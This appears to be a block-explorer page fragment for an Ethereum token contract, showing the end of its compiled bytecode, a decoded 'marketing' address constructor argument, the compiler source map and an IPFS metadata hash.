600160a01b0385165f9081526009602052604081208054909190610b50908490610d65565b90915550505b6001600160a01b0383165f908152600a602052604081208054849290610b7d908490610d78565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610bc991815260200190565b60405180910390a35060019392505050565b5f80610be78385610d78565b905083811015610c395760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610566565b9392505050565b5f6020808352835180828501525f5b81811015610c6b57858101830151858201604001528201610c4f565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610ca1575f80fd5b919050565b5f8060408385031215610cb7575f80fd5b610cc083610c8b565b946020939093013593505050565b5f805f60608486031215610ce0575f80fd5b610ce984610c8b565b9250610cf760208501610c8b565b9150604084013590509250925092565b5f60208284031215610d17575f80fd5b610c3982610c8b565b5f8060408385031215610d31575f80fd5b610d3a83610c8b565b9150610d4860208401610c8b565b90509250929050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561048f5761048f610d51565b8082018082111561048f5761048f610d5156fea2646970667358221220bf4032cacf41dec8c6569e7c0a02ee42f82c71e1c73c7cb2a0bffa2c868db08764736f6c63430008140033

000000000000000000000000055df3982086c9b2a6d06b323987135dbe6e4ef6

-----Decoded View---------------
Arg [0] : marketing (address): 0x055DF3982086C9b2a6D06b323987135Dbe6E4Ef6

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000055df3982086c9b2a6d06b323987135dbe6e4ef6

5085:9432:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9469:83;;;;;;;;;;-1:-1:-1;9539:5:0;;;;;;;;;;;;;;;;;9469:83;;;;;;;:::i;:::-;;;;;;;;9248:213;;;;;;;;;;-1:-1:-1;9248:213:0;;;;;:::i;:::-;;:::i;:::-;;;1192:14:1;;1185:22;1167:41;;1155:2;1140:18;9248:213:0;1027:187:1;6021:32:0;;;;;;;;;;-1:-1:-1;6021:32:0;;;;;;;;6353:41;;;;;;;;;;-1:-1:-1;6353:41:0;;;;-1:-1:-1;;;;;6353:41:0;;;;;;-1:-1:-1;;;;;1409:55:1;;;1391:74;;1379:2;1364:18;6353:41:0;1219:252:1;9653:95:0;;;;;;;;;;-1:-1:-1;5997:17:0;9653:95;;;1622:25:1;;;1610:2;1595:18;9653:95:0;1476:177:1;8928:311:0;;;;;;;;;;-1:-1:-1;8928:311:0;;;;;:::i;:::-;;:::i;9756:83::-;;;;;;;;;;-1:-1:-1;9756:83:0;;6492:1;2133:36:1;;2121:2;2106:18;9756:83:0;1991:184:1;6098:28:0;;;;;;;;;;-1:-1:-1;6098:28:0;;;;;;;-1:-1:-1;;;;;6098:28:0;;;6167:33;;;;;;;;;;-1:-1:-1;6167:33:0;;;;-1:-1:-1;;;6167:33:0;;;;;;5748:44;;;;;;;;;;-1:-1:-1;5748:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;3783:148;;;;;;;;;;;;;:::i;:::-;;7296:82;;;;;;;;;;;;;:::i;7386:77::-;;;;;;;;;;;;;:::i;5799:44::-;;;;;;;;;;;;;;;;3569:79;;;;;;;;;;-1:-1:-1;3607:7:0;3634:6;-1:-1:-1;;;;;3634:6:0;3569:79;;9560:87;;;;;;;;;;-1:-1:-1;9632:7:0;;;;;;;;;;;;-1:-1:-1;;;9632:7:0;;;;9560:87;;7471:248;;;;;;;;;;-1:-1:-1;7471:248:0;;;;;:::i;:::-;;:::i;6060:31::-;;;;;;;;;;-1:-1:-1;6060:31:0;;;;;;;;;;;5517:64;;;;;;;;;;-1:-1:-1;5517:64:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;5881:47;;;;;;;;;;;;;;;;3939:244;;;;;;;;;;-1:-1:-1;3939:244:0;;;;;:::i;:::-;;:::i;9248:213::-;9349:10;9314:12;9339:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;9339:30:0;;;;;;;;;;:39;;;9394:37;9314:12;;9339:30;;9394:37;;;;9372:6;1622:25:1;;1610:2;1595:18;;1476:177;9394:37:0;;;;;;;;-1:-1:-1;9449:4:0;9248:213;;;;;:::o;8928:311::-;-1:-1:-1;;;;;9065:22:0;;9022:12;9065:22;;;:9;:22;;;;;;;;9088:10;9065:34;;;;;;;;9055:44;;;9047:53;;;;;;-1:-1:-1;;;;;9111:22:0;;;;;;:9;:22;;;;;;;;9134:10;9111:34;;;;;;;:44;;9149:6;;9111:22;:44;;9149:6;;9111:44;:::i;:::-;;;;-1:-1:-1;9166:43:0;;-1:-1:-1;9178:11:0;9191:9;9202:6;9166:11;:43::i;:::-;-1:-1:-1;9227:4:0;;8928:311;-1:-1:-1;;;;8928:311:0:o;3783:148::-;3696:6;;-1:-1:-1;;;;;3696:6:0;1197:10;3696:22;3688:67;;;;-1:-1:-1;;;3688:67:0;;3334:2:1;3688:67:0;;;3316:21:1;;;3353:18;;;3346:30;3412:34;3392:18;;;3385:62;3464:18;;3688:67:0;;;;;;;;;3890:1:::1;3874:6:::0;;3853:40:::1;::::0;-1:-1:-1;;;;;3874:6:0;;::::1;::::0;3853:40:::1;::::0;3890:1;;3853:40:::1;3921:1;3904:19:::0;;-1:-1:-1;;;;;;3904:19:0::1;::::0;;3783:148::o;7296:82::-;3696:6;;-1:-1:-1;;;;;3696:6:0;1197:10;3696:22;3688:67;;;;-1:-1:-1;;;3688:67:0;;3334:2:1;3688:67:0;;;3316:21:1;;;3353:18;;;3346:30;3412:34;3392:18;;;3385:62;3464:18;;3688:67:0;3132:356:1;3688:67:0;7348:14:::1;:22:::0;;-1:-1:-1;;;;7348:22:0::1;::::0;;7296:82::o;7386:77::-;3696:6;;-1:-1:-1;;;;;3696:6:0;1197:10;3696:22;3688:67;;;;-1:-1:-1;;;3688:67:0;;3334:2:1;3688:67:0;;;3316:21:1;;;3353:18;;;3346:30;3412:34;3392:18;;;3385:62;3464:18;;3688:67:0;3132:356:1;3688:67:0;7437:11:::1;:18:::0;;-1:-1:-1;;7437:18:0::1;;;::::0;;7386:77::o;7471:248::-;7571:11;;7538:12;;7571:11;;;;;;:38;;-1:-1:-1;3607:7:0;3634:6;-1:-1:-1;;;;;3634:6:0;1197:10;7586:23;7571:38;7563:75;;;;-1:-1:-1;;;7563:75:0;;3695:2:1;7563:75:0;;;3677:21:1;3734:2;3714:18;;;3707:30;3773:26;3753:18;;;3746:54;3817:18;;7563:75:0;3493:348:1;7563:75:0;7649:40;7661:10;7673:7;7682:6;7649:11;:40::i;:::-;-1:-1:-1;7707:4:0;;7471:248;-1:-1:-1;;;7471:248:0:o;3939:244::-;3696:6;;-1:-1:-1;;;;;3696:6:0;1197:10;3696:22;3688:67;;;;-1:-1:-1;;;3688:67:0;;3334:2:1;3688:67:0;;;3316:21:1;;;3353:18;;;3346:30;3412:34;3392:18;;;3385:62;3464:18;;3688:67:0;3132:356:1;3688:67:0;-1:-1:-1;;;;;4028:22:0;::::1;4020:73;;;::::0;-1:-1:-1;;;4020:73:0;;4048:2:1;4020:73:0::1;::::0;::::1;4030:21:1::0;4087:2;4067:18;;;4060:30;4126:34;4106:18;;;4099:62;-1:-1:-1;;;4177:18:1;;;4170:36;4223:19;;4020:73:0::1;3846:402:1::0;4020:73:0::1;4130:6;::::0;;4109:38:::1;::::0;-1:-1:-1;;;;;4109:38:0;;::::1;::::0;4130:6;::::1;::::0;4109:38:::1;::::0;::::1;4158:6;:17:::0;;-1:-1:-1;;;;;;4158:17:0::1;-1:-1:-1::0;;;;;4158:17:0;;;::::1;::::0;;;::::1;::::0;;3939:244::o;7727:1192::-;7856:14;;7817:12;;-1:-1:-1;;;7856:14:0;;;;7852:351;;;3607:7;3634:6;-1:-1:-1;;;;;7891:19:0;;;3634:6;;7891:19;;;;:42;;-1:-1:-1;3607:7:0;3634:6;-1:-1:-1;;;;;7914:19:0;;;3634:6;;7914:19;;7891:42;:70;;;;-1:-1:-1;;;;;;7937:19:0;;;;;;:9;:19;;;;;;:24;7891:70;7887:305;;;8021:14;;-1:-1:-1;;;;;7986:19:0;;;;;;:9;:19;;;;;;:31;;8010:6;7986:23;:31::i;:::-;:49;;7978:110;;;;-1:-1:-1;;;7978:110:0;;4455:2:1;7978:110:0;;;4437:21:1;4494:2;4474:18;;;4467:30;4533:34;4513:18;;;4506:62;-1:-1:-1;;;4584:18:1;;;4577:46;4640:19;;7978:110:0;4253:412:1;7978:110:0;8121:11;;8111:6;:21;;8103:73;;;;-1:-1:-1;;;8103:73:0;;4872:2:1;8103:73:0;;;4854:21:1;4911:2;4891:18;;;4884:30;4950:34;4930:18;;;4923:62;-1:-1:-1;;;5001:18:1;;;4994:37;5048:19;;8103:73:0;4670:403:1;8103:73:0;8239:13;;-1:-1:-1;;;;;8227:25:0;;;8239:13;;;;;8227:25;:48;;;;-1:-1:-1;3607:7:0;3634:6;-1:-1:-1;;;;;8256:19:0;;;3634:6;;8256:19;;8227:48;:76;;;;-1:-1:-1;;;;;;8279:19:0;;;;;;:9;:19;;;;;;:24;8227:76;8223:156;;;8324:13;;;;8316:50;;;;-1:-1:-1;;;8316:50:0;;5280:2:1;8316:50:0;;;5262:21:1;5319:2;5299:18;;;5292:30;5358:26;5338:18;;;5331:54;5402:18;;8316:50:0;5078:348:1;8316:50:0;-1:-1:-1;;;;;8403:19:0;;;;;;:9;:19;;;;;;:24;8399:74;;8440:13;:21;;-1:-1:-1;;8440:21:0;;;8399:74;-1:-1:-1;;;;;8491:19:0;;;;;;:9;:19;;;;;;:24;;8487:86;;-1:-1:-1;;;;;8532:19:0;;;;;;:9;:19;;;;;:29;;8555:6;;8532:19;:29;;8555:6;;8532:29;:::i;:::-;;;;-1:-1:-1;;8487:86:0;8589:6;8599:1;8589:11;8585:46;;8623:8;;-1:-1:-1;;;;;8602:17:0;;;;;;:7;:17;;;;;:29;;:17;;;:29;;8623:8;;8602:29;:::i;:::-;;;;-1:-1:-1;;8585:46:0;8660:13;;-1:-1:-1;;;;;8648:25:0;;;8660:13;;;;;8648:25;;;;:53;;-1:-1:-1;;;;;;8677:19:0;;;;;;:9;:19;;;;;;:24;8648:53;:78;;;;-1:-1:-1;;;;;;8705:17:0;;8725:1;8705:17;;;:7;:17;;;;;;:21;;8648:78;8644:142;;;8766:8;;-1:-1:-1;;;;;8743:19:0;;;;;;:9;:19;;;;;:31;;:19;;;:31;;8766:8;;8743:31;:::i;:::-;;;;-1:-1:-1;;8644:142:0;-1:-1:-1;;;;;8808:19:0;;;;;;:9;:19;;;;;:29;;8831:6;;8808:19;:29;;8831:6;;8808:29;:::i;:::-;;;;;;;;8872:8;-1:-1:-1;;;;;8853:36:0;8862:8;-1:-1:-1;;;;;8853:36:0;;8882:6;8853:36;;;;1622:25:1;;1610:2;1595:18;;1476:177;8853:36:0;;;;;;;;-1:-1:-1;8907:4:0;7727:1192;;;;;:::o;2003:179::-;2061:7;;2093:5;2097:1;2093;:5;:::i;:::-;2081:17;;2122:1;2117;:6;;2109:46;;;;-1:-1:-1;;;2109:46:0;;5763:2:1;2109:46:0;;;5745:21:1;5802:2;5782:18;;;5775:30;5841:29;5821:18;;;5814:57;5888:18;;2109:46:0;5561:351:1;2109:46:0;2173:1;2003:179;-1:-1:-1;;;2003:179:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:196::-;635:20;;-1:-1:-1;;;;;684:54:1;;674:65;;664:93;;753:1;750;743:12;664:93;567:196;;;:::o;768:254::-;836:6;844;897:2;885:9;876:7;872:23;868:32;865:52;;;913:1;910;903:12;865:52;936:29;955:9;936:29;:::i;:::-;926:39;1012:2;997:18;;;;984:32;;-1:-1:-1;;;768:254:1:o;1658:328::-;1735:6;1743;1751;1804:2;1792:9;1783:7;1779:23;1775:32;1772:52;;;1820:1;1817;1810:12;1772:52;1843:29;1862:9;1843:29;:::i;:::-;1833:39;;1891:38;1925:2;1914:9;1910:18;1891:38;:::i;:::-;1881:48;;1976:2;1965:9;1961:18;1948:32;1938:42;;1658:328;;;;;:::o;2411:186::-;2470:6;2523:2;2511:9;2502:7;2498:23;2494:32;2491:52;;;2539:1;2536;2529:12;2491:52;2562:29;2581:9;2562:29;:::i;2602:260::-;2670:6;2678;2731:2;2719:9;2710:7;2706:23;2702:32;2699:52;;;2747:1;2744;2737:12;2699:52;2770:29;2789:9;2770:29;:::i;:::-;2760:39;;2818:38;2852:2;2841:9;2837:18;2818:38;:::i;:::-;2808:48;;2602:260;;;;;:::o;2867:127::-;2928:10;2923:3;2919:20;2916:1;2909:31;2959:4;2956:1;2949:15;2983:4;2980:1;2973:15;2999:128;3066:9;;;3087:11;;;3084:37;;;3101:18;;:::i;5431:125::-;5496:9;;;5517:10;;;5514:36;;;5530:18;;:::i

ipfs://bf4032cacf41dec8c6569e7c0a02ee42f82c71e1c73c7cb2a0bffa2c868db087